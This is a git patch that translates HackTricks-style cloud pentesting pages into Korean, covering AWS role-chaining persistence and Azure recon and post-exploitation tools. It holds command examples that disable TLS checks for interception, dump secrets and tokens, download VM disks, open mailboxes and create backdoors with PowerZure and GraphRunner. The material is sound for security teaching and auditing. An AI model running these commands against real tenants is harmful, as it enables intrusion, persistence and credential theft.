From 39bcf8e14027149c20db800f00826aaeffbe5490 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Jan 2025 17:39:08 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p --- .../aws-persistence/aws-sts-persistence.md | 20 +- src/pentesting-cloud/azure-security/README.md | 254 ++--------------- .../azure-security/az-enumeration-tools.md | 258 +++++++++++++++++- .../az-arc-vulnerable-gpo-deploy-script.md | 20 +- .../README.md | 16 +- .../az-synchronising-new-users.md | 8 +- .../federation.md | 34 +-- .../phs-password-hash-sync.md | 26 +- .../pta-pass-through-authentication.md | 22 +- .../seamless-sso.md | 22 +- .../pass-the-prt.md | 60 ++-- .../az-permissions-for-a-pentest.md | 4 +- .../azure-security/az-persistence/README.md | 18 +- .../az-automation-accounts-privesc.md | 42 +-- ...-conditional-access-policies-mfa-bypass.md | 40 +-- .../az-entraid-privesc/dynamic-groups.md | 16 +- ...az-virtual-machines-and-network-privesc.md | 14 +- .../azure-security/az-services/README.md | 4 +- .../azure-security/az-services/az-acr.md | 4 +- .../az-services/az-app-services.md | 20 +- .../az-services/az-application-proxy.md | 10 +- .../az-services/az-arm-templates.md | 6 +- .../az-services/az-automation-accounts.md | 16 +- .../azure-security/az-services/az-azuread.md | 80 +++--- .../azure-security/az-services/az-cosmosDB.md | 10 +- .../az-services/az-file-shares.md | 12 +- .../azure-security/az-services/az-keyvault.md | 12 +- .../az-services/az-logic-apps.md | 12 +- .../azure-security/az-services/az-mysql.md | 6 +- .../az-services/az-postgresql.md | 38 +-- .../azure-security/az-services/az-sql.md | 30 +- .../azure-security/az-services/az-storage.md | 92 +++---- .../az-services/az-table-storage.md | 16 +- .../azure-security/az-services/intune.md | 6 +- .../azure-security/az-services/vms/README.md | 58 ++-- .../az-services/vms/az-azure-network.md | 78 +++--- .../README.md | 36 +-- .../az-password-spraying.md | 10 +- .../pentesting-cloud-methodology.md | 42 +-- .../gcds-google-cloud-directory-sync.md | 24 +- ...-google-credential-provider-for-windows.md | 54 ++-- .../gps-google-password-sync.md | 20 +- 42 files changed, 794 insertions(+), 776 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 1ad3ca0e7..dff88869f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,7 +4,7 @@ ## STS -자세한 정보는 다음을 참조하십시오: +자세한 정보는 다음을 참조하세요: {{#ref}} ../aws-services/aws-sts-enum.md @@ -18,17 +18,17 @@ # MFA 사용 시 aws sts get-session-token \ ---serial-number <mfa-device-name> \ ---token-code <code-from-token> +--serial-number \ +--token-code -# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다, 예: GAHT12345678 -# SMS 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:sms-mfa/username -# 가상 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:mfa/username +# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다. 예: GAHT12345678 +# SMS 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:sms-mfa/username +# 가상 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:mfa/username ### Role Chain Juggling -[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다. +[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)로, 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다. 이 [**도구**](https://github.com/hotnops/AWSRoleJuggler/)를 사용하여 역할 체이닝을 계속할 수 있습니다: ```bash @@ -40,12 +40,12 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> 해당 GitHub 리포지토리의 [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 역할 체인이 구성될 수 있는 모든 방법을 찾지 못합니다. +> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 해당 Github 리포지토리에서 역할 체인이 구성될 수 있는 모든 방법을 찾지 못합니다.
-PowerShell에서 역할 저글링을 수행하는 코드 -```powershell +PowerShell에서 역할 조작을 수행하는 코드 +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index f7edfc358..047ac8e6c 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -14,9 +14,9 @@ AZURE 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있 레드 팀 관점에서 **Azure 환경을 침해하기 위한 첫 번째 단계**는 Azure AD에 대한 **자격 증명**을 얻는 것입니다. 이를 수행하는 방법에 대한 몇 가지 아이디어는 다음과 같습니다: -- github(또는 유사한 곳)의 **유출** - OSINT +- github(또는 유사한 곳)의 **누출** - OSINT - **소셜** 엔지니어링 -- **비밀번호** 재사용 (비밀번호 유출) +- **비밀번호** 재사용 (비밀번호 누출) - Azure 호스팅 애플리케이션의 취약점 - [**서버 측 요청 위조**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) 메타데이터 엔드포인트에 접근 - **로컬 파일 읽기** @@ -33,14 +33,14 @@ AZURE 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있 - [장치 코드 인증 피싱](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **비밀번호 스프레이**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Azure 테넌트 내에서 **어떤 사용자도 침해하지 않았다 하더라도**, 여전히 **정보를 수집**할 수 있습니다: +Azure 테넌트 내에서 **어떤 사용자도 침해하지 않았다 하더라도**, 여전히 **정보를 수집할 수 있습니다**: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> 자격 증명을 얻은 후에는 **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로 기본적인 열거 작업을 수행해야 합니다: +> 자격 증명을 얻은 후에는 **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로, 기본적인 열거 작업을 수행해야 합니다: ## 기본 열거 @@ -49,7 +49,7 @@ az-unauthenticated-enum-and-initial-entry/ ### SSRF -Azure 내의 머신에서 SSRF를 발견한 경우, 이 페이지에서 요령을 확인하세요: +Azure 내의 머신에서 SSRF를 발견했다면, 이 페이지에서 요령을 확인하세요: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html @@ -64,7 +64,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met - **IP 화이트리스트** -- 유효한 IP를 침해해야 합니다. - **지리적 제한** -- 사용자가 거주하는 곳이나 회사의 사무실이 있는 곳을 찾아 같은 도시(또는 최소한 같은 국가)의 IP를 얻습니다. - **브라우저** -- 특정 OS(Windows, Linux, Mac, Android, iOS)에서만 허용될 수 있습니다. 피해자/회사가 사용하는 OS를 알아내세요. -- **서비스 주체 자격 증명**을 침해하려고 시도할 수도 있습니다. 일반적으로 제한이 적고 로그인 검토가 덜 이루어집니다. +- **서비스 주체 자격 증명**을 침해하려고 시도할 수도 있습니다. 일반적으로 제한이 적고 로그인 검토가 덜합니다. 이를 우회한 후, 초기 설정으로 돌아가 여전히 접근할 수 있을 것입니다. @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Azure를 열거하는 데 가장 중요한 명령 중 하나는 **`Get-AzResource`**로, 이는 **현재 사용자가 볼 수 있는 리소스를 알 수 있게 해줍니다**. +> Azure를 열거하는 데 가장 중요한 명령 중 하나는 **`Get-AzResource`**입니다. 이 명령은 **현재 사용자가 볼 수 있는 리소스를 알 수 있게 해줍니다**. > -> 동일한 정보를 **웹 콘솔**에서 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)로 가거나 "모든 리소스"를 검색하여 얻을 수 있습니다. +> 동일한 정보를 **웹 콘솔**에서 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)으로 가거나 "모든 리소스"를 검색하여 얻을 수 있습니다. -### ENtra ID 열거 +### Entra ID 열거 -기본적으로, 모든 사용자는 **사용자, 그룹, 역할, 서비스 주체**와 같은 항목을 열거할 수 있는 **충분한 권한을 가져야 합니다**... (기본 [AzureAD 권한](az-basic-information/index.html#default-user-permissions)을 확인하세요).\ +기본적으로, 모든 사용자는 **사용자, 그룹, 역할, 서비스 주체**와 같은 항목을 열거할 수 있는 **충분한 권한을 가져야 합니다**... ( [기본 AzureAD 권한](az-basic-information/index.html#default-user-permissions)을 확인하세요).\ 여기에서 가이드를 찾을 수 있습니다: {{#ref}} @@ -134,241 +134,19 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> 이제 **자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 희망적으로 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\ -> 다음 섹션에서는 **일반적인 서비스를 열거하는 몇 가지 방법**을 확인할 수 있습니다. +> 이제 **자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\ +> 다음 섹션에서는 **일반 서비스 열거 방법**을 확인할 수 있습니다. ## App Service SCM -App Service '컨테이너'에 로그인하기 위한 Kudu 콘솔. +App Service '컨테이너'에 로그인하기 위한 Kudu 콘솔입니다. ## Webshell -portal.azure.com을 사용하고 셸을 선택하거나 shell.azure.com을 사용하여 bash 또는 powershell을 사용할 수 있습니다. 이 셸의 '디스크'는 스토리지 계정에 이미지 파일로 저장됩니다. +portal.azure.com을 사용하여 셸을 선택하거나 shell.azure.com을 사용하여 bash 또는 powershell을 사용할 수 있습니다. 이 셸의 '디스크'는 스토리지 계정에 이미지 파일로 저장됩니다. ## Azure DevOps Azure DevOps는 Azure와 별개입니다. 리포지토리, 파이프라인(yaml 또는 릴리스), 보드, 위키 등이 있습니다. 변수 그룹은 변수 값과 비밀을 저장하는 데 사용됩니다. -## Debug | MitM az cli - -**`--debug`** 매개변수를 사용하면 도구 **`az`**가 보내는 모든 요청을 볼 수 있습니다: -```bash -az account management-group list --output table --debug -``` -**MitM** 공격을 도구에 수행하고 **모든 요청**을 수동으로 확인하려면 다음을 수행할 수 있습니다: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## 자동화된 정찰 도구 - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index f514140cf..0ae75b1e2 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## 리눅스에 PowerShell 설치하기 +## Linux에 PowerShell 설치하기 > [!TIP] > 리눅스에서는 PowerShell Core를 설치해야 합니다: @@ -49,9 +49,9 @@ brew upgrade powershell ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. 이 도구는 Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. -[**설치 지침을 보려면 이 링크를 따르세요¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) +[**설치 지침을 보려면 이 링크를 따르세요!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) Azure CLI의 명령은 다음 패턴을 사용하여 구조화됩니다: `az ` @@ -93,13 +93,13 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" Azure PowerShell은 PowerShell 명령줄에서 Azure 리소스를 직접 관리하기 위한 cmdlet이 포함된 모듈입니다. -[**설치 지침**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)을 보려면 이 링크를 따르세요. +[**설치 지침**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) 링크를 따라가세요. Azure PowerShell AZ 모듈의 명령은 다음과 같이 구조화됩니다: `-Az ` #### Debug | MitM Az PowerShell -매개변수 **`-Debug`**를 사용하면 도구가 보내는 모든 요청을 볼 수 있습니다: +**`-Debug`** 매개변수를 사용하면 도구가 보내는 모든 요청을 볼 수 있습니다: ```bash Get-AzResourceGroup -Debug ``` @@ -107,11 +107,11 @@ Get-AzResourceGroup -Debug ### Microsoft Graph PowerShell -Microsoft Graph PowerShell은 단일 엔드포인트를 사용하여 SharePoint, Exchange 및 Outlook과 같은 서비스에 대한 모든 Microsoft Graph API에 접근할 수 있는 크로스 플랫폼 SDK입니다. PowerShell 7+를 지원하며, MSAL을 통한 현대 인증, 외부 ID 및 고급 쿼리를 지원합니다. 최소 권한 액세스에 중점을 두어 보안 작업을 보장하며, 최신 Microsoft Graph API 기능에 맞춰 정기적으로 업데이트를 받습니다. +Microsoft Graph PowerShell은 SharePoint, Exchange 및 Outlook과 같은 서비스에 단일 엔드포인트를 사용하여 모든 Microsoft Graph API에 접근할 수 있는 크로스 플랫폼 SDK입니다. PowerShell 7+를 지원하며, MSAL을 통한 현대 인증, 외부 ID 및 고급 쿼리를 지원합니다. 최소 권한 액세스에 중점을 두어 보안 작업을 보장하며, 최신 Microsoft Graph API 기능에 맞춰 정기적으로 업데이트를 받습니다. [**설치 지침**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)을 보려면 이 링크를 따르세요. -Microsoft Graph PowerShell의 명령은 다음과 같이 구조화됩니다: `-Mg ` +Microsoft Graph PowerShell의 명령은 다음과 같이 구성됩니다: `-Mg ` #### Microsoft Graph PowerShell 디버그 @@ -124,8 +124,248 @@ Get-MgUser -Debug Azure Active Directory (AD) 모듈은 현재 **사용 중단**되었으며, Azure AD 리소스를 관리하기 위한 Azure PowerShell의 일부입니다. Entra ID에서 사용자, 그룹 및 애플리케이션 등록을 관리하는 작업을 위한 cmdlet을 제공합니다. > [!TIP] -> 이는 Microsoft Graph PowerShell로 대체되었습니다. +> Microsoft Graph PowerShell로 대체되었습니다. -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). +[**설치 지침**](https://www.powershellgallery.com/packages/AzureAD)을 보려면 이 링크를 따르세요. + +## 자동화된 정찰 및 준수 도구 + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +Turbot는 steampipe와 powerpipe를 사용하여 Azure 및 Entra ID에서 정보를 수집하고 준수 검사를 수행하며 잘못된 구성을 찾을 수 있습니다. 현재 실행할 것을 권장하는 Azure 모듈은 다음과 같습니다: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Prowler는 AWS, Azure, Google Cloud 및 Kubernetes 보안 모범 사례 평가, 감사, 사고 대응, 지속적인 모니터링, 강화 및 포렌식 준비를 수행하기 위한 오픈 소스 보안 도구입니다. + +기본적으로 Azure 환경에 대해 수백 가지 검사를 실행하여 보안 잘못 구성된 사항을 찾고 결과를 json(및 기타 텍스트 형식)으로 수집하거나 웹에서 확인할 수 있게 해줍니다. +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +Azure 구독 및 Microsoft Entra ID 보안 구성 검토를 자동으로 수행할 수 있습니다. + +HTML 보고서는 github 저장소 폴더 내의 `./monkey-reports` 디렉토리에 저장됩니다. +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +Scout Suite는 수동 검사를 위한 구성 데이터를 수집하고 위험 영역을 강조 표시합니다. 이는 클라우드 환경의 보안 태세 평가를 가능하게 하는 다중 클라우드 보안 감사 도구입니다. +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +이것은 **Management Group 및 Entra ID** 테넌트 내의 모든 리소스와 권한을 시각화하고 보안 잘못 구성된 부분을 찾는 데 도움을 주는 PowerShell 스크립트입니다. + +이 도구는 Az PowerShell 모듈을 사용하여 작동하므로 이 도구에서 지원하는 모든 인증이 지원됩니다. +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## Automated Post-Exploitation tools + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +ROADRecon의 열거는 사용자, 그룹, 역할, 조건부 액세스 정책 등 Entra ID의 구성에 대한 정보를 제공합니다. +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui 